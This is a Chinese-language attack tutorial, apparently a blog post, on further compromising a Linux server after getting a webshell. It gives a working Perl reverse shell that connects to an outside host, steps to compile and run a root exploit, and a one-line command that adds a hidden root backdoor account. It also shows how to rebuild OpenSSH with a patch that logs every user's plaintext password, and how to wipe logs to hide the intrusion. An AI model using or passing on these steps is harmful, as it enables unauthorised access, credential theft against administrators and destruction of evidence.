Linux低权限用户记录ssh密码
0x01 场景
现在有个攻击场景,就是你拿到了linux外网服务器的webshell,要做内网渗透前肯定要收集信息。其中可以做的一个工作是重新编译ssh来记录管理员的密码信息,信息可以用来撞其他机器的密码。下面就从linux的提权开始
0x02 过程
反弹shell
linux下为啥要反弹出一个shell来提权,这个你可以用webshell来执行一次溢出exp。
自己外网服务器 nc -l -vv -p 1234 ,监听1234端口
webshell如果能访问外网,则用bash,python,perl等脚本反向连接。把代码写入/tmp/(也可以是其他目录)并执行。例如perl代码
Perl
use Socket;$i="www.hackblog.cn" //外网服务器地址,可以是IP$p=1234; //反向连接端口 socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){ open(STDIN,">&S");open(STDOUT,">&S"); open(STDERR,">&S");exec("/bin/sh -i");};
在/tmp/写入找到的exp源文件,利用webshell或者反弹过来的shell编译,gcc -o root.out exp.c
赋予 root.out 执行权限, chmod +x root.out
用反弹shell执行exp,完成后查看当前权限 ./root.out
重新编译ssh
第一步顺利的话就可以直接一句话加一个自己的账户了
Bash useradd -p `openssl passwd -1 -salt 'xxx' luo` -u 0 -o -g root -G root -s /bin/bash -d /usr/bin/luo luo //一句添加账户密码luo:luo
ssh登陆上去,cat /etc/passwd 看看都有哪些账户,然后last看看最近都哪些鬼登陆了。既然shadow不好破解,那么我想在这些账户下一次登陆的时候记录他们的密码怎么办。参考百度上的文章,大概修改一下步骤,提几句注意事项。
备份原来的ssh,mv /etc/ssh /etc/ssh_bak
下载ssh源文件。网上用的6.6,我看版本不是很旧,就直接用
wget http://openbsd.cs.toronto.edu/pub/OpenBSD/OpenSSH/portable/openssh-6.6p1.tar.gz tar -zxvf openssh-6.6p1.tar.gz 解压后进入解压出的目录 vi auth-passwd.c 编辑这个文件,查找auth_password这个函数,在函数的第一行加入一句 logit("username: %s password: %s", authctxt->user, password); 保存之后 ./configure --sysconfdir=/etc/ssh --without-zlib-version-check --with-md5-passwords make make install 重启ssh服务 service ssh restart
接下来,通过ssh不管登陆成功和失败都会把账号密码记录在日志里。这个日志在/var/log/下,Ubuntu的是auth.log,其他系统可以看日志最后修改的时间,随便翻翻最新的日志就行。过一段时间就找到日志看看有木有鱼儿上钩。建议先清空日志,这样下次有登陆信息就可以很方便的观察到文件大小的变化。
注意事项
渗透最后工作就是清除自己的痕迹了。可以echo >/var/log/xxx 这么清除。千万别直接删除日志文件,这样的话就不会再自动生成日志了,即使新建一个同名文件也不行。如果你已经删了,请自行百度解决办法。
------------------------------------------------------------------------------------